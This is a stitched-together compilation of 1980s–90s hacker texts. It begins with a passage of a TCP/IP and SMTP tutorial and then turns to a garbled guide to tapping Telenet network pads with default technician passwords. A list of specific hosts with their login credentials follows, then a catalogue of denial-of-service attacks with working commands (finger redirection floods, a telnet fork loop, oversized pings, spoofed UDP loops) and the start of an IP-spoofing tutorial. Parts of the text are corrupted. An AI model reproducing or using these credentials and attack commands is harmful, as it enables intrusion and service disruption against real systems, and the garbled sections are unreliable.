to be different. For example, it is perfectly possible for two
different users on a machine to be sending files to the same other
machine. This could result in connections with the following
parameters:

Internet addresses TCP ports
connection 1 128.6.4.194, 128.6.4.7 1234, 21
connection 2 128.6.4.194, 128.6.4.7 1235, 21

Since the same machines are involved, the Internet addresses are the
same. Since they are both doing file transfers, one end of the
connection involves the well-known port number for FTP. The only
thing that differs is the port number for the program that the users
are running. That's enough of a difference. Generally, at least one
end of the connection asks the network software to assign it a port
number that is guaranteed to be unique. Normally, it's the user's
end, since the server has to use a well-known number.
13




Now that we know how to open connections, let's get back to the
applications programs. As mentioned earlier, once TCP has opened a
connection, we have something that might as well be a simple wire.
All the hard parts are handled by TCP and IP. However we still need
some agreement as to what we send over this connection. In effect
this is simply an agreement on what set of commands the application
will understand, and the format in which they are to be sent.
Generally, what is sent is a combination of commands and data. They
use context to differentiate. For example, the mail protocol works
like this: Your mail program opens a connection to the mail server at
the other end. Your program gives it your machine's name, the sender
of the message, and the recipients you want it sent to. It then sends
a command saying that it is starting the message. At that point, the
other end stops treating what it sees as commands, and starts
accepting the message. Your end then starts sending the text of the
message. At the end of the message, a special mark is sent (a dot in
the first column). After that, both ends understand that your program
is again sending commands. This is the simplest way to do things, and
the one that most applications use.

File transfer is somewhat more complex. The file transfer protocol
involves two different connections. It starts out just like mail.
The user's program sends commands like "log me in as this user", "here
is my password", "send me the file with this name". However once the
command to send data is sent, a second connection is opened for the
data itself. It would certainly be possible to send the data on the
same connection, as mail does. However file transfers often take a
long time. The designers of the file transfer protocol wanted to
allow the user to continue issuing commands while the transfer is
going on. For example, the user might make an inquiry, or he might
abort the transfer. Thus the designers felt it was best to use a
separate connection for the data and leave the original command
connection for commands. (It is also possible to open command
connections to two different computers, and tell them to send a file
from one to the other. In that case, the data couldn't go over the
command connection.)

Remote terminal connections use another mechanism still. For remote
logins, there is just one connection. It normally sends data. When
it is necessary to send a command (e.g. to set the terminal type or to
change some mode), a special character is used to indicate that the
next character is a command. If the user happens to type that special
character as data, two of them are sent.

We are not going to describe the application protocols in detail in
this document. It's better to read the RFC's yourself. However there
are a couple of common conventions used by applications that will be
described here. First, the common network representation: TCP/IP is
intended to be usable on any computer. Unfortunately, not all
computers agree on how data is represented. There are differences in
character codes (ASCII vs. EBCDIC), in end of line conventions
(carriage return, line feed, or a representation using counts), and in
whether terminals expect characters to be sent individually or a line
at a time. In order to allow computers of different kinds to
communicate, each applications protocol defines a standard
14



representation. Note that TCP and IP do not care about the
representation. TCP simply sends octets. However the programs at
both ends have to agree on how the octets are to be interpreted. The
RFC for each application specifies the standard representation for
that application. Normally it is "net ASCII". This uses ASCII
characters, with end of line denoted by a carriage return followed by
a line feed. For remote login, there is also a definition of a
"standard terminal", which turns out to be a half-duplex terminal with
echoing happening on the local machine. Most applications also make
provisions for the two computers to agree on other representations
that they may find more convenient. For example, PDP-10's have 36-bit
words. There is a way that two PDP-10's can agree to send a 36-bit
binary file. Similarly, two systems that prefer full-duplex terminal
conversations can agree on that. However each application has a
standard representation, which every machine must support.



3.1 An example application: SMTP


In order to give a bit better idea what is involved in the application
protocols, I'm going to show an example of SMTP, which is the mail
protocol. (SMTP is "simple mail transfer protocol.) We assume that a
computer called TOPAZ.RUTGERS.EDU wants to send the following message.

Date: Sat, 27 Jun 87 13:26:31 EDT
From: hedrick@topaz.rutgers.edu
To: levy@red.rutgers.edu
Subject: meeting

Let's get together Monday at 1pm.

First, note that the format of the message itself is described by an
Internet standard (RFC 822). The standard specifies the fact that the
message must be transmitted as net ASCII (i.e. it must be ASCII, with
carriage return/linefeed to delimit lines). It also describes the
general structure, as a group of header lines, then a blank line, and
then the body of the message. Finally, it describes the syntax of the
header lines in detail. Generally they consist of a keyword and then
a value.

Note that the addressee is indicated as LEVY@RED.RUTGERS.EDU.
Initially, addresses were simply "person at machine". However recent
standards have made things more flexible. There are now provisions
for systems to handle other systems' mail. This can allow automatic
forwarding on behalf of computers not connected to the Internet. It
can be used to direct mail for a number of systems to one central mail
server. Indeed there is no requirement that an actual computer by the
name of RED.RUTGERS.EDU even exist. The name servers could be set up
so that you mail to department names, and each department's mail is
routed automatically to an appropriate computer. It is also possible
that the part before the @ is something other than a user name. It is
possible for programs to be set up to process mail. There are also
provisions to handle mailing lists, and generic names such as
15



"postmaster" or "operator".

The way the message is to be sent to another system is described by
RFC's 821 and 974. The program that is going to be doing the sending
asks the name server several queries to determine where to route the
message. The first query is to find out which machines handle mail
for the name RED.RUTGERS.EDU. In this case, the server replies that
RED.RUTGERS.EDU handles its own mail. The program then asks for the
address of RED.RUTGERS.EDU, which is 128.6.4.2. Then the mail program
opens a TCP connection to port 25 on 128.6.4.2. Port 25 is the
well-known socket used for receiving mail. Once this connection is
established, the mail program starts sending commands. Here is a
typical conversation. Each line is labelled as to whether it is from
TOPAZ or RED. Note that TOPAZ initiated the connection:

RED 220 RED.RUTGERS.EDU SMTP Service at 29 Jun 87 05:17:18 EDT
TOPAZ HELO topaz.rutgers.edu
RED 250 RED.RUTGERS.EDU - Hello, TOPAZ.RUTGERS.EDU
TOPAZ MAIL From:<hedrick@topaz.rutgers.edu>
RED 250 MAIL accepted
TOPAZ RCPT To:<levy@red.rutgers.edu>
RED 250 Recipient accepted
TOPAZ DATA
RED 354 Start mail input; end with <CRLF>.<CRLF>
TOPAZ Date: Sat, 27 Jun 87 13:26:31 EDT
TOPAZ From: hedrick@topaz.rutgers.edu
TOPAZ To: levy@red.rutgers.edu
TOPAZ Subject: meeting
TOPAZ
TOPAZ Let's get together Monday at 1pm.
TOPAZ .
RED 250 OK
TOPAZ QUIT
RED 221 RED.RUTGERS.EDU Service closing transmission channel

First, note that commands all use normal text. This is typical of the
Internet standards. Many of the protocols use standard ASCII
commands. This makes it easy to watch what is going on and to
diagnose problems. For example, the mail program keeps a log of each
conversation. If something goes wrong, the log file can simply be
mailed to the postmaster. Since it is normal text, he can see what
was going on. It also allows a human to interact directly with the
mail server, for testing. (Some newer protocols are complex enough
that this is not practical. The commands would have to have a syntax
that would require a significant parser. Thus there is a tendency for
newer protocols to use binary formats. Generally they are structured
like C or Pascal record structures.) Second, note that the responses
all begin with numbers. This is also typical of Internet protocols.
The allowable respons

[gore]

Part 2:

Telnet:

Telenet The Secret Exposed...

For years, people and myself, have offtend tried to"work telenet unto a coma"..
With no success, for the past few years, i have gathered data, and finally
know the system, its faults, capabilities, and errors.
This really should be in a text file, but. i wish this information to
be reserved for the few users on this system.

before i start, here are a few basic commands to get famialir with:

Execution syntax of command function
------------------------------------------------------------------------

Connect c (sp) Connects to a host (opt)

Status stat Displays network port add

Full-Duplex full network echo

Half-Duplex half Termnial echo

Mail
or
Telemail mail telemail telemail

set Parmaters set (sp) 2:0,3:2 Select Pad Parameters

Read Paramaters par? par?(sp)2:0,3:2 display pad

Set and read
Paramaters set?(sp)2:0,3:2

escape escape from data modew

File Trasnfer dtape Prepares network for bulk

continue cont

disconnect bye or d

hang up hangup

terminial term(sp)d1 Set TERM

test

test(sp)char


test(sp)echo


test(sp)triangle


this is the end of the commands, view next msg for useage:

Trap and pipe x.25 prot. (telenet)...

Please note this is a very difficult transaction... The following
flow chart, will only work on a machine with atleast 10 Mhz..
However, an account on a unix, with cu capabilities will also work..

Package networking, is exactly what it means..
before, i go into detail, let me give you and over view...



-------------
Host
-------------
!
!
!
!
-----------------
telenet, remote
$ divertor, and
pacakge.
------------------
!
!
---------------------
! ! ! !
! ! ! !
u u u u
s s s s
e e e e
r r r r
s s s s

If you notice carefully, there is online to the host and 4 users. That
is how its packaged, for instance the first 100 mills. will be from user
on then two etc.. The way telenet can tell which is user is which, is
simply by the time. Time is of the essense. data is constantly been
packed, anywhere from 100 mils. to 760 mils. The trick to trap tapping
and piping, a lead off of telenet, is to have as system running four
proccewss and the same time, and have a master prgm. that switch's at
the appropriate delays... As you can see this is where a 10 Mhz +
system, is needed.

On the host end.

The host end consists of three things..

1) 9600 baud modem

2) a dedicated telcue line

3) a network pad..

I doubt know one needs a lesson on the first two, but lets take a look
at telenets, "weakest" link..

Network Pad
----------

There are three types of network pads a 4 pad 12 pad and 32 pad
They really do not make a diffrence, it only changes the amount
of users, capable of using on line..

example. if you have a 4 network pad. you system will be able to handle
four users from telenet etc...

The network pad is Such a piece of"**** you have know idea..

All parameters are set remotly by a telenet eng..

This is important...

If the pad is every shutoff all parameters are lost.. and an eng. must
reload the pad.. (again, this is done remotly)

to give you a small ifea, of$the amount of programing in thms pad (which
i might add has over 2 megs of internal RAM) for an eng. to upload it ct
9600 bps.. it took approx 38 mins.

The Pad is not a computer, if ytou think about it though, if your
traveling at 1200 on telenet, your actually travling at 9600 and back to
1200.. when x.25 is unpacked..

How is the pad set remotly..

lets take an example...

c 2122

now c 2122 /(?this is an example)

ha four nodes its a siml divester to the next node. however you can
specify, the node you want

c"212.01
c 212.02
etc....

nodes can also"be stated as 2122a is the same as "2122.01
and 2122.03 is the same as 2122c

Now that we know how to access the indiv. nodes. let me show you a small
secret...

Theres a programing node.. so an eng. can upload, to your network pad..

every address has it...
it always ends in 99

so, if i wanted to trap and tap c 2122

i would enter c 2122.99

you would get a connected.. but is you notice nothin happens..

at this point do not touch any keys.. a wrong key stroke, will
most likely alert someone to your tampering..
(dont forget, all network pads have a direct alarm signle.. so follow my
directions to the t...

enter in :



with out a return.. you should get telenet


if you dont give it a min. then hit return. your actually there. but the
prompt, just didnt print.. ok..

Now type

set 15:0

when entered.. hold 15 secs.. for a time delay..

then type in cont

to continue, with the host you brokg from.....

you will get a message:

TP3005 DEBUG PORT V5.37.03
&gt;



your now, directly accessed the network pad..


Please note some of these have passwords:
However
if your prompted for a password, of if nothing happens:
telenet has two standard passwords:
superman
represeting a male tech.
and
$ wonderwomen
repre. a woman tech..
when in your prompt is always a greater than sign:
&gt;

type the following:

7FDS
HIT RETURN

youll get a responce: $ E 01

NOW TYPE IN:
L7FE,L,A2,R2,D

then youll get a message: R 00A626 8805

now enter ing: 40588

YOUR RESPONCE WILL BE : E 01

right now you should open at least a 640K buffer.....

now type in &gt; R0589

YOU'LL GET A WHOLE LIST OF DATA THAT IS CURRENTLY CROSSING THE PADS
DUPLEX.
ONE LINE WILL LOOK LIKE THIS:



R 00A625 06805FF17068703 1287100230050540 0000000000000000 FF020101000000

þ"&]%%+f! ! )19AIQYai



ÿIt seems that not many of you know that Telenet is connected to about 80
computer-networks in the world. No, I don't mean 80 nodes, but 80 networks
with thousands of unprotected computers. When you call your local Telenet-
gateway, you can only call those computers which accept reverse-charging-calls.
If you want to call computers in foreign countries or computers in USA which
do not accept R-calls, you need a Telenet-ID. Did you ever notice that you can
type ID XXXX when being connected to Telenet? You are then asked for the
password. If you have such a NUI (Network-User-ID) you can call nearly every
host connected to any computer-network in the world. Here are some examples:
026245400090184 is a VAX in Germany (Username: DATEXP and leave mail for
CHRIS !!!)
0311050500061 is the Los Alamos Integrated computing network (One of the
hosts connected to it is the DNA (Defense Nuclear Agency)!!!)
0530197000016 is a BBS in New Zealand
024050256 is the S-E-Bank in Stockholm, Sweden (Login as GAMES !!!)
02284681140541 CERN in Geneva in Switzerland (one of the biggest nuclear
research centers in the world) Login as GUEST
0234212301161 A Videotex-standard system. Type OPTEL to get in and
use the ID 999_ with the password 9_
0242211000001 University of Oslo in Norway (Type LOGIN 17,17 to play
the Multi-User-Dungeon !)
0425130000215 Something like ITT Dialcom, but this one is in Israel !
ID HELP with password HELP works fine with security level 3
0310600584401 is the Washington Post News Service via Tymnet (Yes, Tymnet
is connected to Telenet, too !) ID and Password is: PETER
You can read the news of the next day !

The prefixes are as follows:
02624 is Datex-P in Germany
02342 is PSS in England
03110 is Telenet in USA
03106 is Tymnet in USA
02405 is Telepak in Sweden
04251 is Isranet in Israel
02080 is Transpac in France
02284 is Telepac in Switzerland
02724 is Eirpac in Ireland
02704 is Luxpac in Luxembourg
05252 is Telepac in Singapore
04408 is Venus-P in Japan
...and so on... Some of the countries have more than one packet-switching-
network (USA has 11, Canada has 3, etc).

OK. That should be enough for the moment. As you see most of the passwords
are very simple. This is because they must not have any fear of hackers. Only
a few German hackers use these networks. Most of the computers are absolutely
easy to hack !!!
So, try to find out some Telenet-ID's and leave them here. If you need more
numbers, leave e-mail.
I'm calling from Germany via the German Datex-P network, which is similar to
Telenet. We have a lot of those NUI's for the German network, but none for
a special Tymnet-outdial-computer in USA, which connects me to any phone #.

CUL8R, Mad Max

PS: Call 026245621040000 and type ID INF300 with password DATACOM to get more
Informations on packet-switching-networks !

PS2: The new password for the Washington Post is KING !!!!

Distributed in part by:

Skeleton Crue xxx-xxx-xxxx located out of Moraga, California.
!!Get on the band wagon before it RUNS YOU DOWN!!
The very LAST bastion of Abusive Thought in all of the Suburbian West Coast...
(CH&AOS)

More Telnet information: :

The Basics of TELENET
Part I

This Bulletin is the first in a series to cover the general procedures of the
major data networks:

Telenet
Tymnet
Autonet
Arpanet
[More to be added]


BACKGROUND
----------
Telenet connects many large computers to itself through dedicated telephone
lines, each of these 'host computers' is assigned a node address(ie.:NPAxx).
Telenet is an international data network, connecting to computers around the
world.See the International telenet bulletin for more on this.

CONNECTING
----------
Telenet is probably the most 'user friendly' network of the four listed. A
normal logon looks like this: [NPA=Area code,xx=node address] You hit &lt;CR&gt;
&lt;CR&gt; [2 Returns] Telenet respnds with:TELENET NPAxx

TERMINAL=(Here you type your terminal identifier) (See the bulletin section for
the list)

@

The '@' is Telenet's promt to you to go ahead.

Things to do on telenet
-----------------------
To connect to a node type:
@C NPAxx
Telenet will atempt to connect to the computer at the node given.
A few of the things that Telenet will say are:


NPAxx CONNECTED (You are connected to a computer)
ILLEGAL ADDRESS (Not a working node)
NPAxx NOT REACHABLE (The computer at that node is 'DOWN')
NPAxx REFUSED COLLECT CONNECTION(Needs a paid ID [More later]
NPAxx REJECTING (Computer is 'UP' but not available)
NPAxx NOT RESPONDING (The computer at that node is 'DOWN')

These are most of the things that Telenet will tell you

MORE THINGS TO DO
-----------------
Typing an @ while in a host computer will return you to Telenet You will
still be connected to the other computer, you may: D (to disconnect from that
computer) or TAPE (Unknown, possibly records your actions so that) (you may
look at them later)

If you type either of the above, while not connected to a node telenet will
respond with NOT CONNECTED

MISC.
-----
RESET (Returns Telenet to the beggining,you must start again (with the
&lt;CR&gt;&lt;CR&gt;)

SET (Unknown)

MAIL (To connect to GTE Telemail) It will ask for User? and Password?


NOTES
-----

In addition to the normal area codes in NPAxx there are also other NPA's used
in Telenet, 909 and 311, for instance.

Telenet hangs up after three disconnections from host computers, this
unfortunately is quite a PAIN in the ___ There is no way to get around this as
far as I can tell.

The ID command in Telenet is to Identify users to the host computers. You
must type ID (your ID#) (your password). If you just type ID, telenet will
tell you that your ID is cleared, which means nothing. To recieve a paid user
ID on telenet call them at: Telenet customer service:800-336-0437 800-572-
0408(In Virginia)


HACKING
-------
Telenet is very convinient for hackers as it connects many computers to your
terminal, without having to find and dial many numbers. Start your Telehacking
by picking an areacode and then trying all the nodes in that NPA. You will no
doubt find many interesting computers 'to work on'.

Here are instructions for using TELENET. There are some very basic things,
which most people already know, and some other things, which even the most
dedicated hackers have probably never even heard of. This includes things such
as international access, etc. Well, have fun.


THE TELENET CONNECTION
INTERNATIONAL ADDRESSING/INTERNATIONAL ACCESS PROCEDURES


I. TELENET INTERNATIONAL ADDRESS FORMAT

---------------------------- Data Network
| Identification Code (DNIC)
|
|
|
| ------------------- Area Code
| |
| |
| | ------------- DTE Address
| | |
| | | ----- Port Address
| | | |
| | | |
DDDD AAA HHHHH PP
|
----- Optional Subaddress
Field for Packet Mode DTE


Example: Telenet International
------- -------------
212 141 3110 21200141
909 84 3110 90900084



II. ACCESS TO OVERSEAS PUBLIC DATA NETWORKS

1. Turn on the terminal and coupler.
2. Dial the nearest Telenet access number (See Telenet Public Dial listing).
When you hear a high-pitched tone, place the telephone
receiver in the coupler.

For Data Sets (Bell 103 or 113 type), depress the data button.

3. Type Two carriage returns (CR).
4. Telenet will give you a port identification number and ask you
to identify your terminal type in the two or four
character id for your terminal followed by a carriage
return (CR) or type carriage return (CR).

(EX.) TELENET
202 DL9
TERMINAL = AJ63(CR)

5. After Telenet prompts with a '@' type 'ID', skip a space (SP)
and type your password followed by a carriage return. (Contact
your GTE Telenet Representative to obtain a required caller
paid ID.)

(EX.) @ID(SP);INTL(CR)

Type in your password.

(EX.) PASSWORD = 123456(CR)

6. After Telenet prompts with an @, type a C. skip a space and
type the network address of the computer you wish to access,
followed by a carriage return (CR).

(EX.) @C(SP)023411234567890(CR)

Note: Your International address will follow a format such as:

020801234567890 for France/Transpac
023421234567890 for United Kingdom/British Telecom
026241234567890 for Germany/Datex-P

7. Telenet will respond with a connection message. You are now
ready to begin your conversation with the host computer.

(EX.) (ADDRESS)CONNECTED

8. To disconnect from your computer, log off as usual. Telenet
will send you a disconnected message.

(EX.) (ADDRESS)DISCONNECTED

Hang up to disconnect from Telenet.

(CR) = Carriage return
(SP) = Space

___________________________________________________________________________

Finger:

ATTACKING FROM THE OUTSIDE
by http://www.student.tdb.uu.se/~t95hhu...e/outside.html


TAKING ADVANTAGE OF FINGER

Most fingerd installations support redirections to another host.

Ex: $finger @system.two.com@system.one.com


finger will in the example go through system.one.com and on to system.two.com.
As far as system.two.com knows it is system.one.com who is fingering. So this method can be
used for hiding, but also for a very dirty denial of service attack. Lock at this:

$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack


All those @ signs will get finger to finger host.we.attack again and again and again... The
effect on host.we.attack is powerful and the result is high bandwidth, short free memory and a
hard disk with less free space, due to all child processes.

The solution is to install a fingerd which don't support redirections, for example GNU finger.
You could also turn the finger service off.

UDP AND SUNOS 4.1.3.

SunOS 4.1.3. is known to boot if a packet with incorrect information in the header is sent to
it. This is the cause if the ip_options indicate a wrong size of the packet.

The solution is to install the proper patch.

FREEZING UP X-WINDOWS

If a host accepts a telnet session to the X-Windows port (generally somewhere between 6000 and
6025. In most cases 6000) could that be used to freeze up the X-Windows system. This can be
made with multiple telnet connections to the port or with a program which sends multiple
XOpenDisplay() to the port.

The same thing can happen to Motif or Open Windows.

The solution is to deny connections to the X-Windows port.

MALICIOUS USE OF UDP SERVICES

It is simple to get UDP services (echo, time, daytime, chargen) to loop, due to trivial
IP-spoofing. The effect can be high bandwidth that causes the network to become useless. In the
example the header claim that the packet came from 127.0.0.1 (loopback) and the target is the
echo port at system.we.attack. As far as system.we.attack knows is 127.0.0.1 system.we.attack
and the loop has been establish.

Ex: from-IP=127.0.0.1

to-IP=system.we.attack

Packet type:UDP

from UDP port 7

to UDP port 7


Note that the name system.we.attack looks like a DNS-name, but the target should always be
represented by the IP-number.

Quoted from proberts@clark.net (Paul D. Robertson) comment on comp.security.firewalls on matter
of "Introduction to denial of service" A great deal of systems don't put loopback on the wire,
and simply emulate it. Therefore, this attack will only effect that machine in some cases. It's
much better to use the address of a different machine on the same network. Again, the default
services should be disabled in inetd.conf. Other than some hacks for mainframe IP stacks that
don't support ICMP, the echo service isn't used by many legitimate programs, and TCP echo
should be used instead of UDP where it is necessary.

ATTACKING WITH LYNX CLIENTS

A World Wide Web server will fork an httpd process as a respond to a request from a client,
typical Netscape or Mosaic. The process lasts for less than one second and the load will
therefore never show up if someone uses ps. In most causes it is therefore very safe to launch
a denial of service attack that makes use of multiple W3 clients, typical lynx clients.
But note that the netstat command can be used to detect the attack (thanks to Paul D. Robertson).

Some httpd:s (for example some http-gw) will have problems besides the normal high bandwidth,
low memory... And the attack can in those causes get the server to loop.

MALICIOUS USE OF telnet

Study this little script:

Ex: while : ; do

telnet system.we.attack &

done


An attack using this script might eat some bandwidth, but it is nothing compared to the finger
method or most other methods. Well the point is that some pretty firewalls and httpd:s thinks
that the attack is a loop and turn them self down, until the administrator sends kill -HUP.

This is a simple high risk vulnerability that should be checked and if present fixed.

MALICIOUS USE OF telnet UNDER SOLARIS 2.4

If the attacker makes a telnet connections to the Solaris 2.4 host and quits using:

Ex: Control-}

quit


then will inetd keep going "forever". Well a couple of hundred...

The solution is to install the proper patch.

HOW TO DISABLE ACCOUNTS

Some systems disable an account after N number of bad logins, or waits N seconds. You can use
this feature to lock out specific users from the system.

LINUX AND TCP TIME, DAYTIME

Inetd under Linux is known to crash if to many SYN packets sends to daytime (port 13)
and/or time (port 37).

The solution is to install the proper patch.

HOW TO DISABLE SERVICES

Most Unix systems disable a service after that N sessions have been open in a given time.
Well most systems have a reasonable default (lets say 800 - 1000), but not some SunOS systems
that have the default set to 48...

The solutions is to set the number to something reasonable.

PARAGON OS BETA R1.4

Paragon is Intels supercomputer platform built for high performance scientific and technical
computing. If someone redirects an ICMP (Internet Control Message Protocol) packet to a paragon
OS beta R1.4 will the machine freeze up and must be rebooted. An ICMP redirect tells the system
to override routing tables. Routers use this to tell the host that it is sending to the wrong
router.

The solution is to install the proper patch.

NOVELLS NETWARE FTP

Novells Netware FTP server is known to get short of memory if multiple ftp sessions connects
to it, causing it to crash. About 5 at a time - 100 sessions total within a short period of
time, could do the trick.

ICMP ATTACKS

Gateways uses ICMP redirect to tell the system to override routing tables, that is telling the
system to take a better way. To be able to misuse ICMP redirection we must know an existing
connection If we have found a connection we can send a route that loses it connectivity or we
could send false messages to the host.

One could also send spoofed ICMP Source Quench messages, this could slow down the conncection.


Ex: (false messages to send)

DESTINATION UNREACHABLE
TIME TO LIVE EXCEEDED
PARAMETER PROBLEM
PACKET TOO BIG

The effect of such messages is a reset of the connection.

The solution could be to turn ICMP redirects off, not much proper use of the service.

BROADCAST STORMS

This is a very popular method in networks there all of the hosts are acting as gateways.

There are many versions of the attack, but the basic method is to send a lot of packets to all
hosts in the network with a destination that don't exist. Each host will try to forward each
packet so the packets will bounce around for a long time. And if new packets keep coming the
network will soon be in trouble.

Services that can be misused as tools in this kind of attack is for example ping, finger and
sendmail. But most services can be misused in some way or another.

EMAIL BOMBING AND SPAMMING

In a email bombing attack the attacker will repeatedly send identical email messages to an
address. The effect on the target is high bandwidth, a hard disk with less space and so on...
Email spamming is about sending mail to all (or rather many) of the users of a system. The point
of using spamming instead of bombing is that some users will try to send a replay and
if the address is false will the mail bounce back. In that cause have one mail transformed to
three mails. The effect on the bandwidth is obvious.

TIME AND KERBEROS

If not the the source and target machine is closely aligned will the ticket be rejected, that
means that if not the protocol that set the time is protected it will be possible to set a
kerberos server off function.

SUNOS KERNEL PANIC

Some SunOS systems (running TIS?) will get a kernel panic if a getsockopt() is done after
that a connection has been reset.

HOSTILE APPLETS

A hostile applet is any applet that attempts to use your system in an inappropriate manner.
The problems in the java language could be sorted in two main groups:



1) Problems due to bugs.

2) Problems due to features in the language.


In group one we have for example the java bytecode verifier bug, which makes is possible for
an applet to execute any command that the user can execute.

Note that two other bugs could be found in group one, but they are both fixed in Netscape 2.01
and JDK 1.0.1.

Group two are more interesting and one large problem found is the fact that java can connect
to the ports. Meaning that all the methods described in .C.X. can be performed by an applet.
More information and examples could be found at address
http://www.math.gatech.edu/~mladue/HostileArticle.html

If you need a high level of security you should use some sort of firewall for protection against
java. As a user you could have java disable.

ANONYMOUS FTP ABUSE

If an anonymous FTP archive have a writable area it could be misused for a denial of service
attack similar with with .D.3. That is we can fill up the file system.

Also can a host get temporarily unusable by massive numbers of FTP requests.

SYN FLOODING

Both 2600 and Phrack have posted information about the syn flooding attack. 2600 have also
posted exploit code for the attack.

As we know the syn packet is used in the 3-way handshake. The syn flooding attack is based on
an incomplete handshake. That is the attacker host will send a flood of syn packet but will not
respond with an ACK packet. The TCP/IP stack will wait a certain amount of time before dropping
the connection, a syn flooding attack will therefore keep the syn_received connection queue of
the target machine filled.

PING FLOODING

The impact of ping flooding is big. Under Unix we could try something like: ping -s host to
send 64 bytes packets.

If you have Windows 95, click the start button, select RUN, then type in:
PING -T -L 256 xxx.xxx.xxx.xx. Start about 15 sessions.

In section xxxxxxxxxxxxxxxxxxxxxxxxxxxxx you can find information about a ping-flooding-gun.

Under Unix the -f switch could be of use.

CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES

If someone can ping your machine from a Windows 95 machine he or she might reboot, freeze or
crash your machine. The attacker simply writes:

ping -l 65510 address.to.the.machine


And the machine will freeze or reboot.

A very good page about the problem and with a long list of affected systems can be found at
address http://www.sophist.demon.co.uk/ping/

The page is maintained by Mr Mike Bremford.

MALICIOUS USE OF SUBNET MASK REPLY MESSAGE

The subnet mask reply message is used under the reboot, but some hosts are known to accept the
message any time without any check. If so all communication to or from the host can be
turned off.

The host should not accept the message any time but under the reboot.

FLEXlm

Any host running FLEXlm can get the FLEXlm license manager daemon on any network to shutdown
using the FLEXlm lmdown command.



# lmdown -c /etc/licence.dat

lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.



Shutting down FLEXlm on nodes: xxx

Are you sure? [y/n]: y

Shut down node xxx

#


BOOTING WITH TRIVIAL FTP

To boot diskless workstations one often use trivial ftp with rarp or bootp. If not protected an
attacker can use tftp to boot the host.

ATTACKING USENET

It can be possible to cancel some ones else's article, destroy newsgroups and sending false
postings to Usenet. Fore more information about this see the FAQ:alt.2600 question 15.

ATTACKING NAME SERVERS

The name server is the program that holds the information about the domain and answers
questions. The part of the domain name space that the name server holds is referred to as
a zone.

The name server is seldom the only one, it is a to important service. Instead can at least two
be found, the primary master and the secondary master. However can not to many secondary
masters exist (10 ?). The secondary master provides a backup to the primary.

Every time the name server makes a request it collects and store information and next time if
another query is made for the information, it already have it in the cache.

An attack at the name server could have a very big impact. Many servers depends heavily on
proper working name servers, for example: rlogin, rsh, rcp, xhost, NFS, smtp, ftp...

To attack the name server could we of course use any method described in this paper, but the
machine running the name server seldom do anything except DNS-work. The DNS-server is also very
important and have had several security problems that are well known. Because of these reasons
will the DNS-server most likely be well protected and other services beside DNS will probably
not exist (although ping flooding could be a threat if not a firewall that filters ping from
the outside exist). The attack that are left is to attack the service it self at port 53.
We could for example:

Send random garbage to it.
Send true queries to it.
Use syn flooding.

Alternative two should be the most effective one, because it will do every thing that
alternative one do and beside that keep the service program it self busy looking up DNS-names.
Putting together a long random list with DNS-name will also contain mostly addresses outside
the zone, making the name server to try querying other name servers.

SSH AND PPP

If a PPP connection is made via SSH drops, all processes controlled by it can get zombied out.
The processes can not be killed with a kill -9 -1. To get rid of the zombies kill sshd.

LOGIN VIA SSH

Ssh can be used to block login. Force sshd to ask for password during login. Connect to the
system but do not give the password. Until you have given the password no one else will be
able to login.

This is a matter of configuration.

BIND

Telnet to port 53 on a host running BIND-4.9.5-P1. Enter something for example abcdef, but if
that doesn't work just try something else. Hit enter and close the connection.

The server will not now accept any TCP connections and the named-process may consume a lot of
CPU time.

ping -sv -i 127.0.0.1 224.0.0.1

$ ping -sv -i 127.0.0.1 224.0.0.1

Can cause Solaris to reboot or crash.

qmail

A machine running qmail can run out ouf memory if someone are sending SMTP commands of
unlimited length.

Two example programs can be found at address: http://www.student.tdb.uu.se/~t95hhu/programs/qmail.txt

___________________________________________________________________________

IP Spoofing Information:

-=[ A short overview of IP spoofing: PART I ]=-
-=[ Part of 'The Packet Project']=-

(Includes Source for Linux 1.3.X and later kernels)
All text and Source code written by Brecht Claerhout (Copyright 1996)
All source tested on Linux kernel 2.0.X
All packet data captured with Sniffit 0.3.2 (a pre-release at that time)
-------------------------------------------------------------------------------

PART I: Simple spoofing (Non blind)
-----------------------------------

0. Introduction
0.1 What
0.2 For whom
0.3 Disclaimer
0.4 Licence

1. Short explanation of some words

2. Description of sourcecode
2.1 Source included
2.2 Programmer notes

3. TCP/IP (UDP) in an hazelnutshell

4. Non-blind spoofing
4.1 Know what you are doing
4.2 SYN flooding
4.3 Connection Killing
4.3.1 Using reset (RST)
4.3.2 Closing a connection (FIN)
4.3.3 Improving
4.4 Connection Hijacking
4.5 Other

5. The source code

-------------------------------------------------------------------------------
PART I: Simple spoofing (Non blind)
------------------------------------------------------------------------------

0. Introduction
---------------

0.1 What
--------

This document describes some IP spoofing attacks and gives you example
source code of the programs used for these attacks (and packet sniffer
logs, so you see what exactly happens).
It also provides you with an easy to use include file for experimenting a
little yourself.
Oh, if you make something nice with the "spoofit.h" file, please mail it to me
(or a reference where it is available) with a little explanation on what it
is (a few lines are enough)...

If you have interesting remarks, comment, idea's, ... please contact me
Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt;
PoBox 144
9000 Gent 12
Belgium

If YOU think of yourself, you are "3&gt;&lt;Tr3/\/\3lY 3Le3T", please don't bother
contacting me.
Flames &gt;/dev/null or &gt;/dev/echo depends on how smart you are.

It is not wise to use what you don't know/understand, so read this before
trying anything... it will only take a few minutes, and probably save you
some hours of failure...

This code is not crippled in the usual way (removing some vital parts),
the power is limited by it's briefness, because I wanted to keep
everything simple and illustrative (but working). It's a simple job to
improve it, and that is the goal of this doc, that you improve it yourself.

Thanks too Wim Vandeputte for spellchecking, and putting up
with my constant nagging about IP during the writing of this sh!t...

0.2 For whom
------------

For people with an elementary knowledge of TCP/IP, some knowledge on C (only
the basic setup) and some general UNIX knowledge.
It's no use reading this document if you are completely unaware of these
things, but mind you, only a little knowledge is enough.

0.3 Disclaimer
--------------

I am in no way responsible for the use of this code. By using this
software and reading this document you accept the fact that any damage
(emotional, physical, dataloss and the end of the world as we know it ...)
caused by the use or storage of these programs/documents is not MY
responsability.

I state that during the writing and testing of this document/source, I
never violated any law. All spoofing was done between machines where I had
legit root access, or where I had the permission from the legit root.

This code can be written by any competent programmer, so this source is
not so harmfull as some will say (cauz' I'm sure some people won't like
this degree of disclosure).

0.4 Licence
-----------

All source code and text is freely available. You can spread it, as long
as you don't charge for it (exceptions are a small reproduction fee, if
it isn't spread together with commercial software, texts.)
You may not spread parts of the document, it should be spread as one
package. You may not modify the text and/or source code.

You can use the spoofit.h or derived code in your own programs as long as
